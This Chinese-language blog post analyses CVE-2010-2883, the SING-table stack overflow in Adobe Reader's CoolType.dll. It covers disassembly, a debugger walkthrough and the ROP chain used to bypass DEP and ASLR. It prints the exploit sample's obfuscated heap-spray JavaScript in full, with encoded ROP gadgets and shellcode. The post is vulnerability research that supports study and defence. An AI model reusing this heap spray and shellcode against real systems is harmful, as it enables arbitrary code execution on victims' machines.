CVE-2010-2883 Adobe Reader TTF字体SING表栈溢出漏洞

xiaoeryu Lv5

0x1:漏洞描述

​ CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞,用户受骗打开了特制的PDF文件就有可能导致执行任意代码。

0x2:分析环境

推荐使用的环境 备注
操作系统 Windows XP SP3 简体中文版
虚拟机 VMware
调试器 OD
反汇编器 IDA Pro 6.8
漏洞软件 Adobe Reader 9.3.4

0x3:基于字符串定位的漏洞分析方法

​ 用IDA反汇编CoolType.dll库,查看字符串可发现”SING”字体,因为该字符串是漏洞解析出错的地方,直接定位进去即可查看该库对string表格的解析方式,==主要是strcat造成的溢出漏洞==:

.text:0803DCF9
.text:0803DCF9 ; =============== S U B R O U T I N E =======================================
.text:0803DCF9
.text:0803DCF9 ; Attributes: bp-based frame fpd=108h
.text:0803DCF9
.text:0803DCF9 sub_803DCF9     proc near               ; CODE XREF: sub_803A3B2+55p
.text:0803DCF9                                         ; sub_803DFF4+28p ...
.text:0803DCF9
.text:0803DCF9 var_160         = byte ptr -160h
.text:0803DCF9 var_140         = dword ptr -140h
.text:0803DCF9 var_138         = dword ptr -138h
.text:0803DCF9 var_134         = dword ptr -134h
.text:0803DCF9 var_130         = dword ptr -130h
.text:0803DCF9 var_12C         = dword ptr -12Ch
.text:0803DCF9 var_128         = dword ptr -128h
.text:0803DCF9 var_124         = dword ptr -124h
.text:0803DCF9 var_120         = dword ptr -120h
.text:0803DCF9 var_119         = byte ptr -119h
.text:0803DCF9 var_114         = dword ptr -114h
.text:0803DCF9 var_10C         = dword ptr -10Ch
.text:0803DCF9 var_108         = byte ptr -108h
.text:0803DCF9 var_4           = dword ptr -4
.text:0803DCF9 arg_0           = dword ptr  8
.text:0803DCF9 arg_4           = dword ptr  0Ch
.text:0803DCF9 arg_8           = dword ptr  10h
.text:0803DCF9 arg_C           = dword ptr  14h
.text:0803DCF9
.text:0803DCF9                 push    ebp
.text:0803DCFA                 sub     esp, 104h	;分配栈空间0x104
.text:0803DD00                 lea     ebp, [esp-4]	;后面的strcat会把执行结果保存在ebp中
.text:0803DD04                 mov     eax, ___security_cookie
.text:0803DD09                 xor     eax, ebp
.text:0803DD0B                 mov     [ebp+108h+var_4], eax
.text:0803DD11                 push    4Ch
.text:0803DD13                 mov     eax, offset sub_8184A54
.text:0803DD18                 call    __EH_prolog3_catch
.text:0803DD1D                 mov     eax, [ebp+108h+arg_C]
.text:0803DD23                 mov     edi, [ebp+108h+arg_0]
.text:0803DD29                 mov     ebx, [ebp+108h+arg_4]
.text:0803DD2F                 mov     [ebp+108h+var_130], edi
.text:0803DD32                 mov     [ebp+108h+var_138], eax
.text:0803DD35                 call    sub_804172C
.text:0803DD3A                 xor     esi, esi
.text:0803DD3C                 cmp     dword ptr [edi+8], 3
.text:0803DD40                 mov     [ebp+108h+var_10C], esi
.text:0803DD43                 jz      loc_803DF00
.text:0803DD49                 mov     [ebp+108h+var_124], esi
.text:0803DD4C                 mov     [ebp+108h+var_120], esi
.text:0803DD4F                 cmp     dword ptr [edi+0Ch], 1
.text:0803DD53                 mov     byte ptr [ebp+108h+var_10C], 1
.text:0803DD57                 jnz     loc_803DEA9
.text:0803DD5D                 push    offset aName    ; "name"
.text:0803DD62                 push    edi             ; int
.text:0803DD63                 lea     ecx, [ebp+108h+var_124]
.text:0803DD66                 mov     [ebp+108h+var_119], 0
.text:0803DD6A                 call    sub_80217D7
.text:0803DD6F                 cmp     [ebp+108h+var_124], esi
.text:0803DD72                 jnz     short loc_803DDDD
.text:0803DD74                 push    offset aSing    ; "SING"
.text:0803DD79                 push    edi             ; int
.text:0803DD7A                 lea     ecx, [ebp+108h+var_12C]	;指向sing表入口
.text:0803DD7D                 call    sub_8021B06			   ;处理SING表
.text:0803DD82                 mov     eax, [ebp+108h+var_12C]
.text:0803DD85                 cmp     eax, esi					;判断是否为空
.text:0803DD87                 mov     byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B                 jz      short loc_803DDC4		 ;这里不跳转
.text:0803DD8D                 mov     ecx, [eax]		;字体资源版本号,这里为1.0版本即00 10 00 00
.text:0803DD8F                 and     ecx, 0FFFFh
.text:0803DD95                 jz      short loc_803DD9F		 ;这里跳转
.text:0803DD97                 cmp     ecx, 100h
.text:0803DD9D                 jnz     short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F:                              ; CODE XREF: sub_803DCF9+9Cj
.text:0803DD9F                 add     eax, 10h			;相对string表偏移0x10处找到uniqueName
.text:0803DDA2                 push    eax               ; char * uniqueName域
.text:0803DDA3                 lea     eax, [ebp+108h+var_108]
.text:0803DDA6                 push    eax               ; char * 目的地址是一段固定大小的栈空间
.text:0803DDA7                 mov     [ebp+108h+var_108], 0
.text:0803DDAB                 call    strcat			;造成溢出!!
  • 由上可知,Adobe Reader在调用strcat的时候,未对uniqueName字段的字符串长度进行检测,将其直接复制到固定大小的栈空间中,最终导致栈溢出。

0x4:样本Exploit技术分析

​ 用PdfStreamDumperd找到TTF并保存至本地

找到TTF位置
将TTF文件保存至本地

​ TableEntry结构数据

 typedef sturct_SING
 {
     char tag[4];	//"SING"
     ULONG checkSum;//校验和
     ULONG offset;	//相对文件偏移,0000011C
     ULONG length;	//数据长度
 } TableEntry;

​ 保存下来之后我们可以用010Edit加载TTF模板来查看一下文件的结构,找到SING表的真实数据,

​ 从TableEntry结构入口偏移0x11C即是SING表的真实数据,从00 00 01 00 开始的部分,接着再偏移0x10即可找到uniqueName域

uniqueName域

00 00 01 00 表示版本号,偏移0x10开始为uniqueName字段,大小为28字节且以0x00结尾。但是在CoolType.dll中,使用strcat对这个位置进行操作时没有判断长度,所以我们可以构造超长的uniqueName进行栈溢出。

0x05:动态调试

​ 用OD加载Adobe Reader 按F9直接运行,运行起来之后在0x0803DD74(前面我们通过IDA找到的加载SING表的位置)下断点,然后打开poc.pdf。程序会断在此处。

​ 然后向下单步执行,在0X0803DD7A执行完之后,可以看到ECX被从栈中赋了一个值

​ 我们查看一下这个值中保存的内容,拿这个值跟上面通过010Edit查看到的值对比发现是一样的,可以判断这里存放的是SING表的数据。

继续往下调试可以看到这里有个call,看一下参数明显是吧SING字符串当错参数传入进去了,F8步过继续往下调试。

这里看一下eax的值可以比较一下跟SING表入口的数据是一样的,这样我们可以猜测上面那个call的作用是用来取出SING表的数据

再继续往下调试我们就能找到上面再IDA里面找到的溢出点。这里我们可以看一下传递给strcat的参数,通过对比发现这个地址存放的是uniquename。继续F8执行。

执行strcat之后,会将58 E0 8D AD 起始的部分复制到ebp的指定地址(0x0012e4d8),直至遇到NULL字符终止。我们对复制进去的这段数据(ebp指向的地址)设置内存访问断点,F9执行。

第一次断在字符串拷贝,每次拷贝一个字节,循环拷贝。

第二个地方断在字符串开始的地方,每次比较一个字节。

继续往下跟踪可以找到下图的位置,0x4A8A08E2是样本中的数据,该地址必须为可读可写的,否则会导致出现异常。

继续执行下去将看到下图所示的地址。此处的call [eax]指令,[eax]=0x4A80CB38 (icucnv36.4A80CB38)

此地址对应的指令为:

ROP指令1

返回之后:

ROP指令2

我们再来看下TTF流中的样本数据,可以找到上面基础关键跳转地址的踪影:

跳转地址的稳定性其实主要依靠0x4A82A714和0x4A80CB38这两处地址,他们都位于icucnv36这块地址空间内,而在Adove Reader的各个版本上,这个dll上的这两处地址是始终不变的,因而保持了各个版本的兼容性和Exploit的稳定性。上面的0C0C0C0C正式样本特意构造的,然后再通过嵌入到PDF的JavaScript实现Heap Spary,进而跳入Shellcode执行代码。0x0C0C0C0C正是绕过DEP的关键部分,它是利用ROP技术实现的。

借助PdfStreamDumper来提取样本中的JavaScript代码。

var qXtjjwuwMZHJFnHFHIeKMsuymSwbvdoCpVQWidsXxgdOevIIdJDueXNhhaFuWpjEXlNYkQBcmKusAxoTqqySheWldNrQ = unescape;
var TuBHhjKjSQNWxYdXhwSUaUeAfYLLCe = qXtjjwuwMZHJFnHFHIeKMsuymSwbvdoCpVQWidsXxgdOevIIdJDueXNhhaFuWpjEXlNYkQBcmKusAxoTqqySheWldNrQ( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ue9bd%u49c0%udd6d%ud9c5%u2474%u5ff4%uc929%u31b1%u6f31%u8313%u04c7%u6f03%u22e6%u91bc%u2010%u6a3f%u45e0%u8fc9%u45d1%uc4ad%u7641%u89a5%ufd6d%u39eb%u73e6%u4d24%u394f%u6012%u1250%ue366%u69d2%uc3bb%ua1eb%u02ce%udf2c%u5623%uabe5%u4796%ue682%ue32a%ue7d8%u102a%u06a8%u871a%u50a3%u29bc%ue960%u31f5%ud465%uc94c%ua25d%u1b4e%u4bac%u62fc%ube01%ua3fc%u21a5%udd8b%udcd6%u198c%u3aa5%uba18%uc80d%u66ba%u1dac%uec5c%ueaa2%uaa2a%ueda6%uc0ff%u66d2%u06fe%u3c53%u8325%ue638%u9244%u49e4%uc478%u3547%u8edc%u2265%ucd6d%ub5e3%u6be3%ub541%u73fb%udef5%uf8ca%u999a%u2ad2%u56df%u7799%uff49%ue244%u62c8%ud877%u9b0e%ue9f4%u58ee%u9be4%u25eb%u70a2%u3681%u7747%u3636%u1442%ua4d9%uf50e%u4d7c%u09b4' );
var hgHbuigmqMHFYcMUUwDsvvjYkPfvUjrkVPHIsjcNtTOJnPRFAyDLZFSOaHVkMWXNIpaw = qXtjjwuwMZHJFnHFHIeKMsuymSwbvdoCpVQWidsXxgdOevIIdJDueXNhhaFuWpjEXlNYkQBcmKusAxoTqqySheWldNrQ( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (hgHbuigmqMHFYcMUUwDsvvjYkPfvUjrkVPHIsjcNtTOJnPRFAyDLZFSOaHVkMWXNIpaw.length + 20 + 8 < 65536) hgHbuigmqMHFYcMUUwDsvvjYkPfvUjrkVPHIsjcNtTOJnPRFAyDLZFSOaHVkMWXNIpaw+=hgHbuigmqMHFYcMUUwDsvvjYkPfvUjrkVPHIsjcNtTOJnPRFAyDLZFSOaHVkMWXNIpaw;
AMdepunMDlBdcASwQxIXPGLFXVNQnQrUurHez = hgHbuigmqMHFYcMUUwDsvvjYkPfvUjrkVPHIsjcNtTOJnPRFAyDLZFSOaHVkMWXNIpaw.substring(0, (0x0c0c-0x24)/2);
AMdepunMDlBdcASwQxIXPGLFXVNQnQrUurHez += TuBHhjKjSQNWxYdXhwSUaUeAfYLLCe;
AMdepunMDlBdcASwQxIXPGLFXVNQnQrUurHez += hgHbuigmqMHFYcMUUwDsvvjYkPfvUjrkVPHIsjcNtTOJnPRFAyDLZFSOaHVkMWXNIpaw;
JXWEaKrHQPCtejKwqfCPofYNrtFlVIZGQrpuiwWQwWaCuEOfqQWTNslPPizGKncXoXwfgWiB = AMdepunMDlBdcASwQxIXPGLFXVNQnQrUurHez.substring(0, 65536/2);
while(JXWEaKrHQPCtejKwqfCPofYNrtFlVIZGQrpuiwWQwWaCuEOfqQWTNslPPizGKncXoXwfgWiB.length < 0x80000) JXWEaKrHQPCtejKwqfCPofYNrtFlVIZGQrpuiwWQwWaCuEOfqQWTNslPPizGKncXoXwfgWiB += JXWEaKrHQPCtejKwqfCPofYNrtFlVIZGQrpuiwWQwWaCuEOfqQWTNslPPizGKncXoXwfgWiB;
GpzjaZkwEGsG = JXWEaKrHQPCtejKwqfCPofYNrtFlVIZGQrpuiwWQwWaCuEOfqQWTNslPPizGKncXoXwfgWiB.substring(0, 0x80000 - (0x1020-0x08) / 2);
var KkRYrQKZaeEulhPvabpTanhXVgnMmalrmTtKTmlkSrkkgM = new Array();
for (MHzOuXylamFYTUBOrCPPWcbkWJOMFnTFvtCRiJjNnptuQTlkQCNqlNGacncSxbbglbfBlfqsfqUHNE=0;MHzOuXylamFYTUBOrCPPWcbkWJOMFnTFvtCRiJjNnptuQTlkQCNqlNGacncSxbbglbfBlfqsfqUHNE<0x1f0;MHzOuXylamFYTUBOrCPPWcbkWJOMFnTFvtCRiJjNnptuQTlkQCNqlNGacncSxbbglbfBlfqsfqUHNE++) KkRYrQKZaeEulhPvabpTanhXVgnMmalrmTtKTmlkSrkkgM[MHzOuXylamFYTUBOrCPPWcbkWJOMFnTFvtCRiJjNnptuQTlkQCNqlNGacncSxbbglbfBlfqsfqUHNE]=GpzjaZkwEGsG+"s";

当返回到栈顶(0C0C0C0C)后,栈的情况如下所示。

栈中的数据便是上面JS代码中的Shellcode,作者也正是利用它来实现ROP绕过DEP保护的。首先进入0x4A8063A5,然后再依次执行下面的ROP指令

ROP指令3
ROP指令4
构造CreaterFileA函数地址的ROP指令
调用CreateFileA函数

调用CreateFileA函数时,栈上对应的各个参数情况如图所示,它创建了一个名为iso88591的文件

返回之后,再通过跟上面相同的手法构造出ROP指令来调用CreateFileMapping,创建文件内存映射,调用CreateFileMapping时的栈中各个参数如下图

然后,执行MapViewOfFile函数

然后,再执行memcpy函数

其中目的地址就是前面MapViewOfFile返回的地址,而源地址就是真正的Shellcode代码,将他复制到一段可执行可读写的内存段,以此绕过DEP保护。由于构造的ROP指令均位于不受ASLR保护的icucnv36.dll模块,因此也可用于绕过ASLR保护。

  • 标题: CVE-2010-2883 Adobe Reader TTF字体SING表栈溢出漏洞
  • 作者: xiaoeryu
  • 创建于 : 2021-05-19 22:42:44
  • 更新于 : 2023-11-17 19:38:22
  • 链接: https://github.com/xiaoeryu/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF字体SING表栈溢出漏洞/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论